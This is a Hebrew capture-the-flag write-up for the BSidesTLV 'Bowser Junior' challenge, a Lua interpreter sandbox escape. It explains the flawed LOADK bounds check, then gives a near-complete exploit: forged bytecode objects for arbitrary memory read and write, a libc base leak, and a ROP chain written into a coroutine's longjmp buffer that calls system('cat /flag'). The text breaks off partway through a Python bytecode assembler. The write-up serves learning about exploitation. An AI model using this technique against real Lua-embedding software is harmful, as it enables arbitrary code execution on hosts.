Bowser Junior

תיאור

Bowser Junior

פתרון

המשימה עוסקת בשפה בשם Lua שהיא שפת סקריפט. אנחנו מקבלים כתובת ופורט, ומצורף קובץ להורדה בשם bowser.tar.gz.

בהתחברות לשרת מקבלים את המסך הבא:

> nc bowserjunior.challenges.bsidestlv.com 4444
Lua 5.3.3  Copyright (C) 1337-1994
>

Lua היא שפת סקריפט קלה הניתנת להטמעה בתוכנות אחרות בקלות.

ניתן לראות שפקודות פשוטות מתבצעות בהצלחה, למשל:

Lua 5.3.3  Copyright (C) 1337-1994
> a=1+1
> a
2
> 

קובץ הארכיון bowser.tar.gz מכיל קובץ Dockerfile יחד עם מספר קבצים נוספים:

./bowser/
./bowser/Dockerfile
./bowser/files/
./bowser/files/build.sh
./bowser/files/blacklist.txt
./bowser/files/lua-5.3.3.tar.gz
./bowser/files/meh.patch
./bowser/files/lvm.c
./bowser/files/lua.patch
./bowser/files/xinetd.conf

בחינה של ה-Dockerfile מגלה שהוא מבוסס על Ubuntu:16.04. הוא מבצע מספר התקנות של clang, מריץ קובץ בשם build.sh, מעתיק קובץ flag ל/flag (שלא נמצא, כמובן, כחלק מהקבצים המצורפים) ומריץ את xinetd לפי ה-xinetd.conf המצורף:

FROM ubuntu:16.04

RUN apt-get -y update && \
    apt-get -y install wget build-essential xinetd

RUN echo "deb http://apt.llvm.org/xenial/ llvm-toolchain-xenial main" >> /etc/apt/sources.list && \
    echo "deb-src http://apt.llvm.org/xenial/ llvm-toolchain-xenial main" >> /etc/apt/sources.list && \
    echo "deb http://apt.llvm.org/xenial/ llvm-toolchain-xenial-3.9 main" >> /etc/apt/sources.list && \
    echo "deb-src http://apt.llvm.org/xenial/ llvm-toolchain-xenial-3.9 main" >> /etc/apt/sources.list && \
    wget -O - http://apt.llvm.org/llvm-snapshot.gpg.key|apt-key add - && \
    apt-get -y update && \
    apt-get -y install clang-3.9

RUN groupadd -g 1000 lua && useradd -g lua -m -u 1000 lua -s /bin/bash

ADD files/ /tmp/files

RUN mv /tmp/files/flag /flag &&  mv /tmp/files/xinetd.conf /etc/xinetd.d/repl
RUN cd /tmp/files && ./build.sh && mv lua /home/lua/lua  && rm -rf /tmp/files

USER lua

CMD xinetd -d -dontfork

xinetd.conf מאזין לפורט 4444 (אותו הפורט שראינו בתיאור האתגר) ומריץ Lua.

service bowser
{
        socket_type = stream
        protocol    = tcp
        port        = 4444
        type        = UNLISTED
        wait        = no
        user        = lua
        server      = /home/lua/lua
}

כפי שראינו, הדגל נמצא ב /flag.

הניסיון הראשון הוא כמובן לנסות לפתוח את הקובץ:

> print(io.open("/flag","r"))
stdin:1: attempt to index a nil value (global 'io')
stack traceback:
        stdin:1: in main chunk
        [C]: in ?
>

נראה ש-io לא נמצא מאיזושהי סיבה. ניסיונות אחרים עם פונקציות של os או debug מראים שגם הן מבוטלות. זה נראה כמו תרגיל Sandbox escaping . נצלול פנימה...

נפתח את הקובץ build.sh:

#!/bin/bash
set -e
LUA=lua-5.3.3
tar xfv $LUA.tar.gz
CC=clang-3.9
CFLAGS='-fuse-ld=gold -O1 -flto -fsanitize=cfi -fvisibility=hidden -fsanitize-blacklist=../blacklist.txt'
LDFLAGS='-fuse-ld=gold -flto'
pushd $LUA
patch -p1 < ../lua.patch
mv ../lvm.c src/lvm.c
make
cp src/lua ../
popd

רואים חילוץ (unzip) של קוד המקור של Lua ואת רשימת ההגדרות של המהדר - כולל CFI (Control Flow Integrity) שמוגדר לפעול לפי "כללים נוקשים" אך עם רשימה שחורה של פונקציות שמוחרגות מההגנה:

fun:__libc_start_main
fun:cgt_init
fun:getcpu_init

src:ldso/*
src:crt/*
src:src/ldso/*

הסקריפט גם מפעיל טלאי הנקרא lua.patch:

diff --git a/Makefile b/Makefile
index c795dd7..0691816 100644
--- a/Makefile
+++ b/Makefile
@@ -4,7 +4,7 @@
 # == CHANGE THE SETTINGS BELOW TO SUIT YOUR ENVIRONMENT =======================

 # Your platform. See PLATS for possible values.
-PLAT= none
+PLAT= generic

 # Where to install. The installation starts in the src and doc directories,
 # so take care if INSTALL_TOP is not an absolute path. See the local target.
diff --git a/src/Makefile b/src/Makefile
index d71c75c..7368f7b 100644
--- a/src/Makefile
+++ b/src/Makefile
@@ -6,21 +6,21 @@
 # Your platform. See PLATS for possible values.
 PLAT= none

-CC= gcc -std=gnu99
-CFLAGS= -O2 -Wall -Wextra -DLUA_COMPAT_5_2 $(SYSCFLAGS) $(MYCFLAGS)
+CC= clang-3.9 -std=gnu99
+CFLAGS= -O2 -Wall -Wextra $(SYSCFLAGS) $(MYCFLAGS)
 LDFLAGS= $(SYSLDFLAGS) $(MYLDFLAGS)
 LIBS= -lm $(SYSLIBS) $(MYLIBS)

-AR= ar rcu
-RANLIB= ranlib
+AR= llvm-ar-3.9 rcu
+RANLIB= llvm-ranlib-3.9
 RM= rm -f

 SYSCFLAGS=
 SYSLDFLAGS=
 SYSLIBS=

-MYCFLAGS=
-MYLDFLAGS=
+MYCFLAGS= -flto -fvisibility=hidden -fsanitize=cfi -fstack-protector -fPIE -DLUA_MAXINPUT=0x100000
+MYLDFLAGS= -flto -pie -Wl,-z,relro -Wl,-z,now
 MYLIBS=
 MYOBJS=

diff --git a/src/lbaselib.c b/src/lbaselib.c
index d481c4e..5f925a4 100644
--- a/src/lbaselib.c
+++ b/src/lbaselib.c
@@ -284,6 +284,7 @@ static int load_aux (lua_State *L, int status, int envidx) {
 }


+#if 0   /* avoid compiler warnings about unused functions */
 static int luaB_loadfile (lua_State *L) {
   const char *fname = luaL_optstring(L, 1, NULL);
   const char *mode = luaL_optstring(L, 2, NULL);
@@ -291,6 +292,7 @@ static int luaB_loadfile (lua_State *L) {
   int status = luaL_loadfilex(L, fname, mode);
   return load_aux(L, status, env);
 }
+#endif


 /*
@@ -353,6 +355,7 @@ static int luaB_load (lua_State *L) {
 /* }====================================================== */


+#if 0   /* avoid compiler warnings about unused functions */
 static int dofilecont (lua_State *L, int d1, lua_KContext d2) {
   (void)d1;  (void)d2;  /* only to match 'lua_Kfunction' prototype */
   return lua_gettop(L) - 1;
@@ -367,6 +370,7 @@ static int luaB_dofile (lua_State *L) {
   lua_callk(L, 0, LUA_MULTRET, 0, dofilecont);
   return dofilecont(L, 0, 0);
 }
+#endif


 static int luaB_assert (lua_State *L) {
@@ -453,11 +457,11 @@ static int luaB_tostring (lua_State *L) {
 static const luaL_Reg base_funcs[] = {
   {"assert", luaB_assert},
   {"collectgarbage", luaB_collectgarbage},
-  {"dofile", luaB_dofile},
+  //{"dofile", luaB_dofile},
   {"error", luaB_error},
   {"getmetatable", luaB_getmetatable},
   {"ipairs", luaB_ipairs},
-  {"loadfile", luaB_loadfile},
+  //{"loadfile", luaB_loadfile},
   {"load", luaB_load},
 #if defined(LUA_COMPAT_LOADSTRING)
   {"loadstring", luaB_load},
diff --git a/src/linit.c b/src/linit.c
index 8ce94cc..a3373a0 100644
--- a/src/linit.c
+++ b/src/linit.c
@@ -41,15 +41,15 @@
 */
 static const luaL_Reg loadedlibs[] = {
   {"_G", luaopen_base},
-  {LUA_LOADLIBNAME, luaopen_package},
+  //{LUA_LOADLIBNAME, luaopen_package},
   {LUA_COLIBNAME, luaopen_coroutine},
   {LUA_TABLIBNAME, luaopen_table},
-  {LUA_IOLIBNAME, luaopen_io},
-  {LUA_OSLIBNAME, luaopen_os},
+  //{LUA_IOLIBNAME, luaopen_io},
+  //{LUA_OSLIBNAME, luaopen_os},
   {LUA_STRLIBNAME, luaopen_string},
   {LUA_MATHLIBNAME, luaopen_math},
   {LUA_UTF8LIBNAME, luaopen_utf8},
-  {LUA_DBLIBNAME, luaopen_debug},
+  //{LUA_DBLIBNAME, luaopen_debug},
 #if defined(LUA_COMPAT_BITLIB)
   {LUA_BITLIBNAME, luaopen_bit32},
 #endif
diff --git a/src/lua.c b/src/lua.c
index 545d23d..de2d82c 100644
--- a/src/lua.c
+++ b/src/lua.c
@@ -13,6 +13,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
+#include <unistd.h>

 #include "lua.h"

@@ -591,6 +592,7 @@ static int pmain (lua_State *L) {


 int main (int argc, char **argv) {
+  alarm(60);
   int status, result;
   lua_State *L = luaL_newstate();  /* create state */
   if (L == NULL) {

בקובץ מעלה רואים מחיקה של יכולות של Lua (dofile, loadfile, package, io, os, debug), מה שמסביר את כשלון הניסיון הראשון שלנו להגיע לדגל. כמו כן, התווסף טיימר לסגירת התוכנה תוך 60 שניות. עוד פעולה שקיימת בקובץ הבנייה היא החלפת הקובץ המקורי בקובץ lvm.c אחר. נבצע השוואה בין הקובץ המקורי לקובץ שלנו:

diff --git "a/C:\\bowser\\files\\lvm (2).c" "b/C:\\bowser\\files\\lvm.c"
index 84ade6b..f9abf0a 100644
--- "a/C:\\bowser\\files\\lvm (2).c"  
+++ "b/C:\\bowser\\files\\lvm.c"
@@ -15,6 +15,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
+#include <assert.h>

 #include "lua.h"

@@ -781,7 +782,11 @@ void luaV_finishOp (lua_State *L) {
   if (!luaV_fastset(L,t,k,slot,luaH_get,v)) \
     Protect(luaV_finishset(L,t,k,v,slot)); }

 -
+#define bailout(arg) \
+       if (xxb < 0 || xxb > cl->p->maxstacksize) { \
+         printf("[Sorry] xxb = %d  maxstacksize %d\n", xxb, cl->p->maxstacksize); \
+         exit(0); \
+       }

 void luaV_execute (lua_State *L) {
   CallInfo *ci = L->ci;
@@ -805,14 +810,24 @@ void luaV_execute (lua_State *L) {
         vmbreak;
       }
       vmcase(OP_LOADK) {
-        TValue *rb = k + GETARG_Bx(i);
+       int xxb =  GETARG_Bx(i);
+       bailout(xxb)
+        TValue *rb = k + xxb;
         setobj2s(L, ra, rb);
         vmbreak;
       }
       vmcase(OP_LOADKX) {
         TValue *rb;
-        lua_assert(GET_OPCODE(*ci->u.l.savedpc) == OP_EXTRAARG);
-        rb = k + GETARG_Ax(*ci->u.l.savedpc++);
+       int xxb = 0;
+
+       if ((GET_OPCODE(*ci->u.l.savedpc) != OP_EXTRAARG)) {
+         printf("[Sorry] savedpc != OP_EXTRAARG\n");
+         exit(0);
+       }
+
+       xxb = GETARG_Ax(*ci->u.l.savedpc++);
+       bailout(xxb)
+        rb = k + xxb;
         setobj2s(L, ra, rb);
         vmbreak;
       }

מתוך ההשוואה, רואים הוספה של בדיקות תקינות ויציאה מהתוכנה בהפרתם, בפקודות OP_LOADK ו-OP_LOADKX.

עד כאן מדובר רק בהקדמה למשימה.

דבר ראשון, נרצה להריץ את השרת במחשב מקומי עם יכולת debug. בשביל זה, נבצע מספר שינויים ב-Dockerfile:

  1. נוסיף netcat ו-gdbserver
  2. נמחק את העתקת הדגל שלא נמצא `console RUN apt-get -y install netcat && \ apt-get -y install gdbserver

#RUN mv /tmp/files/flag /flag && mv /tmp/files/xinetd.conf /etc/xinetd.d/repl RUN mv /tmp/files/xinetd.conf /etc/xinetd.d/repl


כדי להריץ את הdocker- כך שנוכל לדבג, נשתמש בפקודה הבאה:
```console
docker run --rm -p 4444:4444 –p 5555:5555 -it --cap-add=SYS_PTRACE --security-opt seccomp=unconfined bowser /bin/bash

בחיפוש אחר חולשות ידועות ב- Luaמצאנו תרגיל דומה שהיה ב-33c3 ctfעם פתרון של saelo. ננסה להבין את החולשות הקיימות, ואיך לתקוף את המכונה.

Lua מספקת פונקצית load שנותנת למשתמש את היכולת לטעון קוד Lua. החלק המעניין הוא שהיא מאפשרת גם לטעון Lua bytecode ובאופן לא מפתיע (הדבר אפילו מוזכר בתיעוד) לא מתבצעות בדיקת תקינות על הקוד הנטען:

"Lua does not check the consistency of binary chunks. Maliciously crafted binary chunks can crash the interpreter."

אם אפשר להביא לקריסה של האינטרפרטר, כנראה שאפשר גם להריץ קוד. Lua VM הוא יחסית פשוט, התומך ב-46 פקודות (opcodes) בלבד. ה-Interpreter מנהל VM מבוסס רגיסטרים. בשל כך, חלק גדול מה-opcodes משתמש באינדקס לרגיסטרים. הדרך להשתמש בקבועים היא גם על ידי אינדקס. נתבונן בפקודה LOADK. משתמשים בה כדי לטעון ערך לטבלת הקבועים של הפונקציה, כאשר k מסמל את תחילת הטבלה.

vmcase(OP_LOADK) {
-  TValue *rb = k + GETARG_Bx(i);
+  int xxb =  GETARG_Bx(i);
+  bailout(xxb)
+  TValue *rb = k + xxb;
   setobj2s(L, ra, rb);
   vmbreak;
}

הפקודה LOADK טוענת את ערך הקבוע Bx לרגיסטר R(A), לדוגמה:

f=load('local a,b,c,d = 3,"foo",3,"foo"')

פקודה זו תייצר את הקוד הבא:

0+ params, 4 slots, 1 upvalue, 4 locals, 2 constants, 0 functions
      1       [1]     LOADK           0  1    ; 3
      2       [1]     LOADK           1  2    ; "foo"
      3       [1]     LOADK           2  1    ; 3
      4       [1]     LOADK           3  2    ; "foo"
      5       [1]     RETURN          0  1
constants (2) for 000001DC21780B50:
      1       3
      2       "foo"
locals (4) for 000001DC21780B50:
      0       a       5       6
      1       b       5       6
      2       c       5       6
      3       d       5       6

ארבע פעמים LOADK אחד לכל משתנה, אבל הערך של הקבועים לא מוכפל והוא אינדקס בטבלת הקבועים. המימוש המקורי של LOADK (מה שמסומן ב- ולא ב+) לא מבצע אף בדיקה לגבי הערך שמקבלים מהפרמטר GETARG_Bx(i). נתעלם כרגע מהבדיקה שהוסיפו בתרגיל שלנו. המשמעות היא שאפשר להשתמש בפקודה זו כדי להחדיר אובייקטים באופן יזום לטבלת הרגיסטרים.

איך הייצוג של אובייקט בזיכרון ב Lua?

/*
** Common Header for all collectable objects (in macro form, to be
** included in other objects)
*/
#define CommonHeader  GCObject *next; lu_byte tt; lu_byte marked

typedef struct TString {
  CommonHeader;
  lu_byte extra;  /* reserved words for short strings; "has hash" for longs */
  lu_byte shrlen;  /* length for short strings */
  unsigned int hash;
  union {
    size_t lnglen;  /* length for long strings */
    struct TString *hnext;  /* linked list for hash table */
  } u;
} TString;

typedef struct Table {
  CommonHeader;
  lu_byte flags;  /* 1<<p means tagmethod(p) is not present */
  lu_byte lsizenode;  /* log2 of size of 'node' array */
  unsigned int sizearray;  /* size of 'array' array */
  TValue *array;  /* array part */
  Node *node;
  Node *lastfree;  /* any free position is before this position */
  struct Table *metatable;
  GCObject *gclist;
} Table;

כפי שניתן לראות, כל אובייקט מכיל מצביע לאובייקט הבא, בייט בשם tt, עוד בייט בשם marked ומספר נתונים הייחודיים לאובייקט.

החלקים החשובים לנו הם: tt – מייצג את סוג האובייקט יחד עם מספר תכונות, כפי שניתן לראות בקוד הבא:

#define LUA_TNIL    0
#define LUA_TBOOLEAN    1
#define LUA_TLIGHTUSERDATA  2
#define LUA_TNUMBER   3
#define LUA_TSTRING   4
#define LUA_TTABLE    5
#define LUA_TFUNCTION   6
#define LUA_TUSERDATA   7
#define LUA_TTHREAD   8

/*
** tags for Tagged Values have the following use of bits:
** bits 0-3: actual tag (a LUA_T* value)
** bits 4-5: variant bits
** bit 6: whether value is collectable
*/

הביטים 0-3 מייצגים את סוג האובייקט. ביטים 4-5 הינם מיוחדים לאובייקטים מסוימים, לדוגמא string:

/* Variant tags for strings */
#define LUA_TSHRSTR (LUA_TSTRING | (0 << 4))  /* short strings */
#define LUA_TLNGSTR (LUA_TSTRING | (1 << 4))  /* long strings */

ביט 6 מייצג אובייקט collectable (הביט הזה חשוב אחר כך לפתרון Bowser Senior) הרעיון עכשיו הוא לייצר string בגודל מוצהר מקסימלי אבל בלי data אחריו, כדי שנוכל לקרוא נתונים שרירותית מתחילת ה-string ועד סופו. בגלל ש-string הוא אובייקט immutable הוא לא שימושי גם לכתיבה. לכן נייצר אובייקט של טבלה (דומה לרשימה ב-Python) שהמצביע ל-array מצביע לאובייקט אחד מהרגיסטרים שיש לנו יכולת לשנות.

זאת התאוריה, כעת נראה איך עושים זאת.

נייצר Lua bytecodeשמכיל מספר רב של קבועים עם מבנה של טבלאות ומחרוזות, ובחלקים בהם נצטרך לעדכן כתובות בזמן ריצה, נשאיר להםplace holders.

    ASM = [
        ('LOADK', 0, 104),
        ('LOADK', 1, 105),
        ('LOADK', 2, 106),
        ('RETURN', 0, 0)
    ]
    CONSTANTS = []

    content = pack('=B', LUA_TLNGSTR) + dump_string(pack('=QQQQQQQ', 0x4141414141414141, 0x31337, 0x13, 0x4141414141414141, 0x14, 0x4242424242424242, 0x45) * 5)

    for i in range(100):
        CONSTANTS.append(content)

    chunk = build_chunk(ASM, MAX_STACKSIZE, CONSTANTS)

כפי שניתן לראות, אנחנו לוקחים את הקבועים 104, 105, 106 ומציבים אותם במשתנים המקומיים 0, 1, 2.

כעת אנחנו מייצרים אובייקטים פיקטיביים: מחרוזת (fake_string_data) בגודל מקסימלי ומבנה של טבלה (fake_table_data) שהמצביע לערכים שלה הוא המצביע למערך של memview:

    local memview = {1,2,3,4,5}

    local fake_string_data = string.pack('<LbbbbIT',
                            0,                     -- next
                            0x14,                  -- tt
                            0,                     -- marked
                            0,                     -- extra
                            2,                     -- shrlen
                            0,                     -- hash
                            0x7fffffffffffffff)    -- lnglen

    local fake_table_data = string.pack('<LbbbbILLLLL',
                            0,                      -- next
                            0x45,                   -- tt
                            0,                      -- marked
                            0,                      -- flags
                            0,                      -- lsizenode
                            0x10,                   -- sizearray
                            addrof(memview) + 0x10, -- array                 
                            0,                      -- node
                            0,                      -- lastfree
                            0,                      -- metatable
                            0)                      -- gclist

כותבים את הפקודה שנרצה להריץ, מייצרים טבלה בזיכרון ומחברים הכל לערך אחד:

    -- Command to execute via system() later on
    local command = "cat /flag\x00"

    local fill = {}
    for i=1,100 do
        fill[i] = {i=i}
    end
    data = "ABABABABABABABAB" .. fake_string_data .. "CDCDCDCDCDCDCDCD" .. fake_table_data .. "EFEFEFEFEFEFEFEF" .. command

מחשבים את הכתובות של המבנים בזמן ריצה:

    local table_addr = addrof(fill[#fill])
    print("[*] Known table @ " .. hex(table_addr))
    local data_addr = table_addr + 136
    local fake_string_addr = data_addr + 0x10
    local fake_table_addr = fake_string_addr + 0x10 + #fake_string_data
    command_addr = fake_table_addr + 0x10 + #fake_table_data           

    print("[*] Data @ " .. hex(data_addr))
    print("[*] Fake string @ " .. hex(fake_string_addr))
    print("[*] Fake table @ " .. hex(fake_table_addr))

מחליפים ב-Lua bytecode את ה-place holders בכתובות אמיתיות:

    chunkbytes = chunkbytes:gsub('AAAAAAAA', function() return string.pack('<L', fake_string_addr) end)
    chunkbytes = chunkbytes:gsub('BBBBBBBB', function() return string.pack('<L', fake_table_addr) end)

טוענים את ה-bytecode:

    local chunk = load(chunkbytes)

ומריצים:

    local fake_string,fake_table, num  = chunk()

כעת מקבלים את fake_string ו-fake_table כפי שרצינו:

    print("[+] Fake objects created")
    print("        Fake string: " .. fake_string:sub(1,4) .. "... (length: " .. hex(#fake_string) .. ")")
    print("        Fake table: "  .. hex(addrof(fake_table)))

נייצר class של גישה לזיכרון באמצעות שימוש באובייקטים הללו. בשביל פרימטיב הקריאה נשתמש בפונקציה string:sub שמעתיקה תת-מחרוזת לפי מיקום, ובשביל פרמיטיב הכתיבה נעדכן את הערך של fake_table[1] אל הכתובת שנרצה לכתוב אליה, מה שידרוס את המצביע של memview למיקום הזה, וכשנכתוב ל-memview[1] הכתיבה תתבצע בפועל בכתובת שרצינו.

    local memory = {}

    function memory.can_read(addr)
        return addr - (fake_table_addr + 22 + 1) >= 0
    end

    function memory.read(addr, size)
        local relative_addr = addr - (fake_string_addr + 22 + 1)
        if relative_addr < 0 then
            print("[-] Cannot read from " .. hex(addr))
            error()
        end
        return fake_string:sub(relative_addr, relative_addr + size - 1)
    end

    function memory.write(addr, val)
        fake_table[1] = addr
        memview[1] = val
    end

נחזור כעת לבדיקה שהוסיפו לפקודת ה-load:

#define bailout(arg) \
       if (xxb < 0 || xxb > cl->p->maxstacksize) { \
         printf("[Sorry] xxb = %d  maxstacksize %d\n", xxb, cl->p->maxstacksize); \
         exit(0); \
       }
vmcase(OP_LOADK) {
  int xxb =  GETARG_Bx(i);
  bailout(xxb)
  TValue *rb = k + xxb;
   setobj2s(L, ra, rb);
   vmbreak;
}

המאקרו bailout מוסיף שתי בדיקות:

  1. xxb (האינדקס של הקבוע הנטען) אינו שלילי
  2. הוא קטן מ-maxstacksize. אם אחד מהתנאים לא מתקיים, התוכנה יוצאת.

בהסתכלות מדוקדקת יותר, ניתן למצוא טעויות:

  1. bailout מקבל פרמטר בשם arg אבל לא משתמש בו, אלא משתמש ישירות ב-xxb וב-cl (לא שמיש להתקפה)
  2. xxb מוגדר בתור int ו-maxstacksize מוגדר בתור unsigned byte. במקרה כזה, ה-optimizer מוותר על הבדיקה ש-xxb אינו שלילי (אם נצליח לקבל ערך של xxb הגדול מ-256, התנאי השני יעבור)
  3. הבעיה הקריטית מכולן היא שהבדיקה xxb > cl->p->maxstacksize כלל אינה נכונה. a. maxstacksize הוא הערך של כמות הרגיסטרים הקיימים בפונקציה, ולכן קל מאוד להגדיל את הערך הזה על ידי הוספת משתנים מקומיים לפונקציה, ואין לו שום קשר לגודל טבלת הקבועים (k). b. הבדיקה הנכונה הייתה צריכה להיות xxb > cl->p->sizek. מכאן שיש לנו דרך להתחמק מה-bailout ויש לנו יכולת קריאה וכתיבה, מה שנותר הוא לכתוב את ה-exploit.

ראשית, עלינו למצוא דרך להתמודד עם ה-.CFI Lua משתמש ב-setjmp, ב-exceptions וב-yield ב-coroutines (סוג של thread). פונקציית setjmp טוענת מגוון רגיסטרים וביניהם RIP, ולכן אם נוכל לשנות את RIP ולאפשר להריץ קוד משלנו, נוכל גם לדלג על בדיקת CFI.

נייצר coroutine:

    coro_fn = function()

נקרא את ה-jumpbuf (פרמטר ל setjump):

        local coro_addr = addrof(coro)
        print("[*] Now executing coroutine. Associated state structure @ " .. hex(coro_addr))

        local state_struct = memory.read(coro_addr, 208)
        local longjmp_buffer_addr = string.unpack('<L', string.sub(state_struct, 89, 97))
        local a = memory.read(longjmp_buffer_addr, 0x200)
        b = hexdump(a)
        print(b)

נסתכל על הערכים "ידנית" ונחפש מצביע כלשהו למשהו ב-libc. ניקח את ה-offset ונחפש בזמן ריצה את הכתובת ההתחלה של libc:

        local some_libc_address = string.unpack('<L', memory.read(longjmp_buffer_addr + 0xa8, 8))
        print("[+] some_libc_address @ " .. hex(some_libc_address))
        local libc_base = find_libc_base(some_libc_address)
        print("[+] libc @ " .. hex(libc_base))

function find_libc_base(some_libc_address)
    local candidate = some_libc_address & 0xfffffffffffff000
    while memory.read(candidate, 4) ~= '\x7fELF' do
        candidate = candidate - 0x1000
    end
    print ("found candidate " .. hex(candidate))
    return candidate
end

נמצא ב-libc את הgadget של pop rdi; ret:

        pop_rdi = libc_base + 0x21102           -- pop rdi ; ret

נמצא את פונקציית system:

        system_addr = libc_base + 0x45390

את הפקודה cat /flag"" כבר יש לנו:

        print("[+] command @ " .. hex(command_addr))

נשאר רק למצוא ב-stack, באזור ה-longjump, מצביע לחזרה (return):

        memory.write(longjmp_buffer_addr + 0x138, pop_rdi)
        memory.write(longjmp_buffer_addr + 0x148, pop_rdi)          
        memory.write(longjmp_buffer_addr + 0x150, command_addr)          
        memory.write(longjmp_buffer_addr + 0x158, system_addr)          
        coroutine.yield()

כעת, כשיש לנו את כל הפרטים, נחבר הכל יחד. כאן מופיע template של ההתקפה. חסר הטמפלט של ה Lua bytecode שבאמצעותו אנחנו יוצרים אובייקטים שרירותיים (בשביל פרימיטיב הקריאה והכתיבה) באמצעות loadk:

function unhexlify(str)
    return str:gsub('..', function(b)
        return string.char(tonumber(b, 16))
    end)
end

function hex(v)
    return string.format("0x%x", v)
end

function string_addr(v)
    return tostring(v):sub(tostring(v):find('0x')+2)
end

function addrof(v)
    return tonumber(string_addr(v),16)
end

function hexdump(buf)
    local str = ''
    for i=1,math.ceil(#buf/16) * 16 do
        if (i-1) % 16 == 0 then
            str = str .. string.format('%08X  ', i-1)
        end
        str = str .. (i > #buf and '   ' or string.format('%02X ', buf:byte(i)))
        if i %  8 == 0 then
            str = str .. ' '
        end
        if i % 16 == 0 then
            str = str .. '\n'
        end
    end
    return str
end

test = "CHUNK"

chunkbytes = unhexlify(test)

function hax()
    local a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z = 'a','a','a','a','a','a','a','a','a'
    local binary_addr  = addrof(math.abs) - 0x32E70
    print("[*] Binary @ " .. hex(binary_addr))

    -- This table's 'array' member will be corrupted later on
    local memview = {1,2,3,4,5}

    local fake_string_data = string.pack('<LbbbbIT',
                                         0,
                                         0x14,
                                         0,    
                                         0,   
                                         2,    
                                         0,   
                                         0x7fffffffffffffff)

    local fake_table_data = string.pack('<LbbbbILLLLL',
                                        0,  
                                        0x45,
                                        0,   
                                        0,  
                                        0,       
                                        0x10,   
                                        addrof(memview) + 0x10,
                                        0,  
                                        0,      
                                        0,       
                                        0)

    -- Command to execute via system() later on
    local command = "cat /flag\x00"

    local fill = {}
    for i=1,100 do
        fill[i] = {i=i}
    end
    -- Must be rooted to avoid garbage collection
    data = "ABABABABABABABAB" .. fake_string_data .. "CDCDCDCDCDCDCDCD" .. fake_table_data .. "EFEFEFEFEFEFEFEF" .. command

    local table_addr = addrof(fill[#fill])
    print("[*] Known table @ " .. hex(table_addr))
    local data_addr = table_addr + 136
    local fake_string_addr = data_addr + 0x10
    local fake_table_addr = fake_string_addr + 0x10 + #fake_string_data
    command_addr = fake_table_addr + 0x10 + #fake_table_data           

    print("[*] Data @ " .. hex(data_addr))
    print("[*] Fake string @ " .. hex(fake_string_addr))
    print("[*] Fake table @ " .. hex(fake_table_addr))
    chunkbytes = chunkbytes:gsub('AAAAAAAA', function() return string.pack('<L', fake_string_addr) end)
    chunkbytes = chunkbytes:gsub('BBBBBBBB', function() return string.pack('<L', fake_table_addr) end)
    local chunk = load(chunkbytes)
    local fake_string,fake_table, num  = chunk()

    print("[+] Fake objects created")
    print("        Fake string: " .. fake_string:sub(1,4) .. "... (length: " .. hex(#fake_string) .. ")")
    print("        Fake table: "  .. hex(addrof(fake_table)))
    local memory = {}

    function memory.can_read(addr)
        return addr - (fake_table_addr + 22 + 1) >= 0
    end

    function memory.read(addr, size)
        local relative_addr = addr - (fake_string_addr + 22 + 1)
        if relative_addr < 0 then
            print("[-] Cannot read from " .. hex(addr))
            error()
        end
        return fake_string:sub(relative_addr, relative_addr + size - 1)
    end

    function memory.write(addr, val)
        fake_table[1] = addr
        memview[1] = val
    end

    return memory
end

function find_libc_base(some_libc_address)
    local a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z = 'a','a','a','a','a','a','a','a','a'
    local candidate = some_libc_address & 0xfffffffffffff000
    while memory.read(candidate, 4) ~= '\x7fELF' do
        candidate = candidate - 0x1000
    end
    print ("found candidate " .. hex(candidate))
    return candidate
end

function pwn()
    memory = hax()

    coro_fn = function()
        local a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z = 'a','a','a','a','a','a','a','a','a'
        local coro_addr = addrof(coro)
        print("[*] Now executing coroutine. Associated state structure @ " .. hex(coro_addr))

        local state_struct = memory.read(coro_addr, 208)
        local longjmp_buffer_addr = string.unpack('<L', string.sub(state_struct, 89, 97))
        print("[+] longjmp buffer @ " .. hex(longjmp_buffer_addr))
        local a = memory.read(longjmp_buffer_addr, 0x200)

        local some_libc_address = string.unpack('<L', memory.read(longjmp_buffer_addr + 0xa8, 8))
        print("[+] some_libc_address @ " .. hex(some_libc_address))
        local libc_base = find_libc_base(some_libc_address)
        print("[+] libc @ " .. hex(libc_base))

        pop_rdi = libc_base + 0x21102           -- pop rdi ; ret
        print("[+] pop_rdi @ " .. hex(pop_rdi))
        system_addr = libc_base + 0x45390
        print("[+] system @ " .. hex(system_addr))
        print("[+] command @ " .. hex(command_addr))

        memory.write(longjmp_buffer_addr + 0x148, pop_rdi)          
        memory.write(longjmp_buffer_addr + 0x150, command_addr)          
        memory.write(longjmp_buffer_addr + 0x158, system_addr)          
        memory.write(longjmp_buffer_addr + 0x138, pop_rdi)             -- rip

        print("[*] ready to go!")
        coroutine.yield()
    end

    local a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z = 'a','a','a','a','a','a','a','a','a'
    coro = coroutine.create(coro_fn)
    while not memory.can_read(addrof(coro)) do
        coro = coroutine.create(coro_fn)
    end

    print("[*] Coroutine created: " .. tostring(coro))
    coroutine.resume(coro)
end

pwn()

כדי לייצר את הטמפלט Lua bytecode ניתן להשתמש ב-script הבא, שיכול "לקמפל" קוד ב-Lua, ולאחר מכן נוכל להוסיף לו את האובייקטים השרירותיים מהסקריפט הקודם:

#!/usr/bin/env python3

from struct import pack, Struct
from binascii import hexlify
import sys

LUA_TNIL           = 0
LUA_TBOOLEAN       = 1
LUA_TLIGHTUSERDATA = 2
LUA_TNUMBER        = 3
LUA_TSTRING        = 4
LUA_TTABLE         = 5
LUA_TFUNCTION      = 6
LUA_TUSERDATA      = 7
LUA_TTHREAD        = 8

LUA_TSHRSTR = LUA_TSTRING | (0 << 4)
LUA_TLNGSTR = LUA_TSTRING | (1 << 4)

LUA_TNUMFLT = LUA_TNUMBER | (0 << 4)
LUA_TNUMINT = LUA_TNUMBER | (1 << 4)

def assemble(asm):
    def Op(val):
        return val & 0x3f
    def A(val):
        assert(val < 0x100)
        return val << 6
    def B(val):
        assert(val < 0x200)
        return val << 14
    def C(val):
        assert(val < 0x200)
        return val << 23
    def Ax(val):
        assert(val < 0x4000000)
        return val << 6
    def Bx(val):
        assert(val < 0x40000)
        return val << 14
    def sBx(val):
        return Bx(val + 2**17)

    handlers = {
